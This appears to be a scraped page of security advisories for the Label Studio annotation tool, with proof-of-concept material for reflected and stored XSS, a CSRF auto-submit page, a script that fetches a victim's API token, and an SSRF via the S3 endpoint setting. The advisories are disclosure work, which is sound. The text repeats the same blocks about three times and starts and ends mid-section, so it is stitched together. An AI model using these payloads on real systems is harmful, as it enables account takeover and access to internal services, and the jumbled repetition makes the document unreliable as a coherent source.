• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

